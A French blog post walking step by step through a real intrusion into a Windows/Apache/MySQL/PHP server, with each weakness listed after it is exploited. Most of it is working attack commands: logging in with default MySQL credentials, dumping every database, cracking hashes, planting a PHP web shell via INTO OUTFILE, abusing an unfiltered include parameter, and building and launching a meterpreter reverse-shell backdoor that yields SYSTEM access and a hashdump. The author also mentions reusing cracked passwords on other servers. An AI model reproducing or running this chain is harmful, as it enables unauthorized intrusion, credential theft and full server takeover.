ReLoad

Thierry Jaouen ~ WikiBlog
"Rien à foutre d'être lu, tant que je peux me relire."

Outils pour utilisateurs

Outils du site


blog:2019:05:28:wamp_attaxx

WAMP Attaxx

Je vais montrer comment j'ai pu réaliser une infiltration sur un serveur WAMP : “Windows+Apache+MySQL+PHP” .

Ce cas réel ne part d'aucune faille de sécurité, tel qu'on peut l'entendre généralement lorsqu'il s'agit de systèmes à l'abandon et dont les mises à jour de sécurité ne sont plus faites.

Non, ici, il s'agit d'un système en production, hébergeant divers services web, mais dont l'administration est défaillante sur plusieurs points.

Toutes ces petites fêlures me permettent d'escalader le système jusqu'à en prendre le contrôle total…

“Let's Go” pour une exploration en détails…

Contexte

Après avoir siroté quelques cafés, je voyage dans les Internets tel Ziltoid dans l'espace-temps…
Ayant atterri dans un réseau local, je m’intéresse à un serveur web centralisant et hébergeant plusieurs services collaboratif.

Une première analyse me montre un serveur “WAMP”…

Pour la suite, je nommerai ce serveur “corporate.wtf.com” et son adresse IP sera “172.30.10.15” .

Examens en surface

Sondage "nmap"

J'utilise « nmap » pour sonder les ports ouverts sur ce serveur :

$ nmap -v -A 172.30.10.15
...
PORT      STATE SERVICE      VERSION                                                                                                                   
80/tcp    open  http         Apache httpd 2.4.37 ((Win64) mod_fcgid/2.3.9)                                                                             
| http-methods:                                                                                                                                        
|_  Supported Methods: GET HEAD POST OPTIONS                                                                                                           
|_http-server-header: Apache/2.4.37 (Win64) mod_fcgid/2.3.9                                                                                            
|_http-title: Did not follow redirect to https://corporate.wtf.com/
...
3306/tcp  open  mysql        MySQL 5.6.27-log
| mysql-info: 
|   Protocol: 10
|   Version: 5.6.27-log
|   Thread ID: 322939
|   Capabilities flags: 63487
|   Some Capabilities: InteractiveClient, Speaks41ProtocolOld, SupportsLoadDataLocal, FoundRows, SupportsTransactions, IgnoreSigpipes, LongColumnFlag, SupportsCompression, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, Support41Auth, Speaks41ProtocolNew, ODBCClient, DontAllowDatabaseTableColumn, LongPassword, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: s&`2v|0svvoJ`(E_3z3+
|_  Auth Plugin Name: 83
...

Je relève qu'il s'agirait d'un serveur “Windows 64 bit”, et 2 services m'intéressent ici:

  • “http” port 80
  • “mysql” port 3306

Les défaillances misent en évidence ici:

  • Usage de “http” (port 80) au lieu de “https” (port 443)
  • Service “MySQL” ouvert (même sur un réseau interne)

« MySQL » et « Booked »

Sur le site « http://corporate.wtf.com » , je constate la présence d'un service de “gestion de planning” qui renvoi sur une autre URL du même serveur, là :

  • http://booked.wtf.com/Web/index.php

Sur la page d'index de ce service , on peut lire sa version :

© 2016 Twinkle Toes Software
Booked Scheduler v2.5.20 

A partir de cette information, et dans l'idée d'examiner son fonctionnement, je récupère les sources du service :

$ git clone https://git.code.sf.net/p/phpscheduleit/2.5 phpscheduleit-2.5

Dans la configuration par défaut « phpscheduleit-2.5/config/config.dist.php » , on trouve les informations suivantes (extrait) :

/**
 * Database configuration
 */
$conf['settings']['database']['type'] = 'mysql';
$conf['settings']['database']['user'] = 'booked_user';        // database user with permission to the booked database
$conf['settings']['database']['password'] = 'password';
$conf['settings']['database']['hostspec'] = '127.0.0.1';        // ip, dns or named pipe
$conf['settings']['database']['name'] = 'bookedscheduler';

Je teste le « user » et « password » par défaut sur le serveur cible :

$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "show databases"
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| phpscheduleit      |
+--------------------+

BINGO : L’identifiant par défaut fonctionne !

Les défaillances ici:

  • On ne laisse jamais les identifiants par défaut.
  • Rappel: confirmation qu'il ne faut pas exposer le service “MySQL”.

Voici la liste des comptes présent sur le service “MySQL” :

$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "select Host,User,Password from mysql.user"
+-----------+-------------+-------------------------------------------+
| Host      | User        | Password                                  |
+-----------+-------------+-------------------------------------------+
| localhost | root        | *6491................................9F4E |
| 127.0.0.1 | root        | *6491................................9F4E |
| ::1       | root        | *6491................................9F4E |
| %         | booked_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| 127.0.0.1 | booked_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+-------------+-------------------------------------------+
$

(Je masque ci-dessus le « hash » du compte « root » uniquement)

Le compte « booked_user » a un accès total a toutes les bases :

$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "SHOW GRANTS FOR 'booked_user'"
+---------------------------------------------------------------------------------------------------------------------------------------+
| Grants for booked_user@%                                                                                                              |
+---------------------------------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'booked_user'@'%' IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19' WITH GRANT OPTION |
+---------------------------------------------------------------------------------------------------------------------------------------+

La défaillance ici:

  • Un compte de service (“booker_user”) avec des droits excessif sur l'ensemble des bases

Je récupère l'ensemble des bases :

$ mysqldump -u booked_user -ppassword --host 172.30.10.15 --all-databases | gzip -c > booked_phpscheduleit_wtf.sql.gz
$
La base “booked/phpscheduleit” contient des centaines de comptes avec adresses e-mail et mot de passe “hashé”, mais cassable en brut force, notamment grâce à “John”…
Le mot de passe “root” de “MySQL” sera craqué quelques heures plus tard…
Il s'avère que certains mots de passe sont exploitables pour d'autres infiltrations sur d'autres serveurs…

Les défaillances ici:

  • Trop de mots de passe “simple” cassable en combinant des “dictionnaires” et le “brut force”.
  • Même mot de passe utilisé pour différents services.

Arborescence du site "corporate"

Grâce a des petits scripts et des logiciels comme “DirBuster” , je commence a étudier l'arborescence du site, et très vite, des fichiers intéressants sont découverts:

phpinfo()

A la racine du site , je découvre un fichier “test.php” qui exécute la fonction “phpinfo()” :

  • http://corporate.wtf.com/test.php

Grâce a cela, je découvre quelques informations, et notamment :

_SERVER["SYSTEMROOT"] C:/Windows
_SERVER["SCRIPT_FILENAME"] E:/WWW_Root/htdocs_corporate/test.php
_SERVER["DOCUMENT_ROOT"] E:/WWW_Root/htdocs_corporate

La défaillance ici:

  • permettre l'usage de la fonction “phpinfo()” par des inconnus.

Logs

Encore à la racine du site , je découvre des “logs” d'erreurs sous forme de fichiers “.dat”.

  • http://corporate.wtf.com/errorslog.dat

Son contenu me sera utile plus loin.

La défaillance ici:

  • Des logs lisibles par des inconnus sur un site en production.

Divers

Entre autres choses, je trouve un fichier nommé “logins.dat” de plus 15 ans d'âge, et contenant des logins avec les mots de passe “hashé” en “md5” …

Pas besoin de faire appel à “John” : 21 mots de passes (sur 22 présents) sont “craqués” immédiatement et simplement en passant par le site https://hashkiller.co.uk/md5-decrypter.aspx

Et l'un des comptes me donne les pleins pouvoirs sur un service “IT Asset Management” pour la gestion du parc informatique …

La défaillance ici:

  • Égarer des documents sur un site en ligne.
  • Stocker des mots de passes par des méthodes obsolètes (“md5”)
  • Identifiant actif avec mot de passe inchangé depuis des années…

Passons.

Injections de scripts

« MySQL » et "OUTFILE" - Première partie

J'ai d'abord essayé d'injecter un simple test en « php » en un point de l’arborescence où je peux lister le contenu du dossier, par exemple ici :

  • http://corporate.wtf.com/Communication/News/cal/

Grâce a « phpinfo() », j'en déduis que le répertoire associé est :

  • E:\WWW_Root\htdocs_corporate\Communication\News\cal

Je m'essaye à la création d’un petit script nommé « t.php » :

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php phpinfo(); ?>" INTO OUTFILE "E:\WWW_Root\htdocs_corporate\Communication\News\cal\t.php"'
ERROR 1290 (HY000) at line 1: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
$

J'ai une erreur a cause d'une sécurité en place:

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'SHOW VARIABLES LIKE "secure_file_priv"'Variable_name   Value
secure_file_priv        E:\\MySQL Datafiles\\Uploads\\

Le dossier “E:\MySQL Datafiles\Uploads” est le seul pouvant recevoir des fichiers par l'intermédiaire de « MySQL » .

Exécution de « php »

J'ai examiné un peu mieux le fonctionnement du site « corporate.wtf.com » et j'ai finalement découvert une méthode pour forcer l'exécution de codes “php” depuis n'importe où sur le système.

D'abord, grâce aux informations contenus dans les fichiers de log d'erreurs découvert précédemment et que j'ai pu récupérer à la racine du site:

$ wget http://corporate.wtf.com/errorslog.dat

Dans le fichier “errorslog.dat”, je trouve des liens construit comme ceci :

...
Source : http://corporate.wtf.com/Communication/HR/Event/2015-11-10/index11.html
...

Sur le site en ligne , je vois aussi des liens formaté comme ça:

  • http://corporate.wtf.com/index.php?vol=Communication&rub=HR&art=Home

Après plusieurs tests de l'arborescence du site, je devine une construction comme suit:

  • /Communication/HR/Home.php

Je vérifie cette hypothèse simplement :

$ curl -I 'http://corporate.wtf.com/Communication'
HTTP/1.1 301
...
$ curl -I 'http://corporate.wtf.com/Communication/HR'
HTTP/1.1 301
...
$ curl -I 'http://corporate.wtf.com/Communication/HR/Home.php'
HTTP/1.1 500
...

Les dossiers existent, car je n'obtiens pas un code « 404 » (« Not Found »). Le fichier « Home.php » existe aussi, mais mon accès direct (sans les bons arguments que je ne connais pas) génère ici une erreur fatale.

Donc, « vol » et « rub » sont des niveaux d'arborescences, et « art » est le fichier « .php » a exécuter (sans ajouter l'extension).

Je peux vérifier cette hypothèse en effectuant la requête suivante :

$ curl 'http://corporate.wtf.com/?vol=.&rub=.&art=index'

Je constate alors que cette requête génère une pseudo-boucle infinie où l’index « index.php » s'appelle lui même… :-)

Grâce a ma précédente découverte de la fonction « phpinfo() » dans « test.php », je constate aussi que la requête suivante fonctionne :

  • http://corporate.wtf.com/?vol=.&rub=.&art=test

Je peux vérifier en jouant avec les arguments « vol » et « rub » pour désigner un fichier « .php » n'importe où sur le système:

  • http://corporate.wtf.com/?vol=E:\WWW_Root&rub=htdocs_corporate&art=test

Et “phpinfo()” retourne (entre autres):

...
_GET["vol"] E:\WWW_Root
_GET["rub"] htdocs_corporate
_GET["art"] test
...

Les défaillances misent en évidence ici:

  • Pseudo “CMS” laissant trop d'informations exploitable
  • Défaut de filtrage des arguments passés aux scripts
  • On peut crasher le service “CMS”, notamment en générant des boucles infinies

« MySQL » et « OUTFILE » - Suite et fin

Cette fois, je peux reprendre l'injection de fichiers « .php » , dans le « bon » dossier:

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php phpinfo(); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t.php"'

Le fichier est déposé sans erreur. Je peux maintenant tester et constater que j'ai exécuté ce script “t.php”.

  • http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t

Escalade

Escalade "PHP" - Première partie

J'injecte un nouveau script nommé “t2.php” pour faire un premier examen:

Ce script attend simplement une commande a exécuter en argument de la variable “cmd”.

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php system($_GET[''cmd'']); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t2.php"'

Avec la commande “dir”, je liste la racine du site « corporate » :

$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t2&cmd=dir'
...
...
 Volume in drive C is Disk_E
                                    
 Volume Serial Number is 668F-570E
                                    
                                                 
 Directory of E:\WWW_Root\htdocs_corporate
                                      
20..-..-..  05:25 PM    <DIR>          . 
20..-..-..  05:25 PM    <DIR>          ..     
20..-..-..  05:14 PM    <DIR>          Applications
20..-..-..  04:33 PM    <DIR>          Communication
...
2015-01-28  10:49 AM              2828 index.php
2011-12-19  11:36 AM                21 test.php
...
20..-..-..  04:20 PM    <DIR>          _
20..-..-..  08:47 AM         3825957 errorslog.dat
...

(Ci-dessus, extrait de la commande “dir” largement charcuté a coup de “..” ou “…” .)

Et je constate que le service “PHP” fonctionne avec les droits « Administrateur » :

$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t2&cmd=whoami'
...
nt authority\system
...

D’autres scripts « PHP » seront installés pour vérifier l'infiltration : je n'entrerais pas dans ces fouillisdétails techniques ici.

Les défaillances misent en évidence ici:

  • Confirmation qu'on peut exécuter un script “PHP” présent n'importe où sur le système
  • “MySQL” qui permet d'injecter du code PHP
  • Service “Apache/PHP” fonctionnant avec les droits ultime “Administrateur”

Création d'une « backdoor » « meterpreter »

Petit rappel pour créer une « backdoor » grâce aux outils « metasploit » :

$ export PAYLOAD_X64=windows/x64/meterpreter/reverse_tcp
$ export LHOST=172.30.x.x
$ export LPORT=443
$ msfvenom -a "x64" --platform "windows" -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 9 -f exe-only > wtf.exe

(Ci-dessus, je cache ma propre adresse IP par « 172.30.x.x »)

Ah oui, il serait aussi possible d'injecter directement “meterpreter” en “php”, mais ce n'est pas cette option que j'ai choisi en premier, notamment parce que a ce stade, je ne sais pas si ce serveur a un système “antivirus”.
Et puis en vrai, j'ai d'abord installé une “backdoor” composé par mes soins… Mais la méthode ci-dessus fonctionne aussi parce que finalement, SPOILER : ce serveur n'a pas d' “antivirus” . LOL

Escalade "PHP" - Suite et fin

Je transforme la « backdoor » en son expression en hexadécimal dans un fichier nommé ici « wtf_hex.txt » :

$ xxd -p wtf.exe | tr '[[:lower:]]' '[[:upper:]]' | tr -d '\n' > wtf_hex.txt

Et j'injecte la « backdoor » sur le serveur en utilisant les fonctionnalités de « MySQL », c’est à dire :

  • Création d’une table temporaire avec une colonne « BLOB »
  • Importation du contenu hexadécimal et conversion en binaire
  • Export du contenu binaire sur le serveur
$ mysql --user=booked_user --password=password --host 172.30.10.15 phpscheduleit

MySQL [phpscheduleit]> CREATE TEMPORARY TABLE IF NOT EXISTS foo ( id INT NOT NULL, payload BLOB NOT NULL );
Query OK, 0 rows affected (0.00 sec)

MySQL [phpscheduleit]> LOAD DATA LOCAL INFILE "./wtf_hex.txt" INTO TABLE foo (@hexCol) SET id=0,payload=UNHEX(@hexCol);
Query OK, 1 row affected (0.00 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 0

MySQL [phpscheduleit]> SELECT payload FROM foo WHERE id=0 INTO DUMPFILE "E:\\MySQL Datafiles\\Uploads\\wtf.exe";
Query OK, 1 row affected (0.00 sec)

MySQL [phpscheduleit]> DROP TABLE foo;
Query OK, 0 rows affected (0.00 sec)

MySQL [phpscheduleit]>

Ma « backdoor » « wtf.exe » est sur le serveur.

J'injecte enfin un nouveau script « php » pour démarrer cette « backdoor ».

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -e 'select "<?php error_reporting(0); system(\"E:\\MySQL Datafiles\\Uploads\\wtf.exe\"); die(); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t7.php"'

Prise de contrôle du serveur

Je prépare l'interaction avec « meterpreter » depuis une console « msfconsole » :

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
... etc ...

Et puis je démarre ma « backdoor » sur le serveur « corporate ».

$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t7'

Du côté de « msfconsole » , je récupère la session :

msf4 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\System
meterpreter > sysinfo
Computer        : WTFWEB2
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d246........................7114:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >

(« hash ntlm » du compte « Administrateur » partiellement caché ici)

Voila: J'ai les pleins pouvoirs sur le serveur « corporate.wtf.com ».

Les défaillances misent en évidence ici:

  • Le serveur peut établir une communication avec un service appartenant à un autre réseau.
  • Confirmation que les services “Apache/PHP” fonctionnent avec les droits “Administrateur”.
  • Aucun service antivirus..

Discussion

Entrer votre commentaire. La syntaxe wiki est autorisée:
Si vous ne pouvez pas lire le code, téléchargez ce fichier .wav pour l'écouter.
 
blog/2019/05/28/wamp_attaxx.txt · Dernière modification: 2019/05/29 11:00 par thierry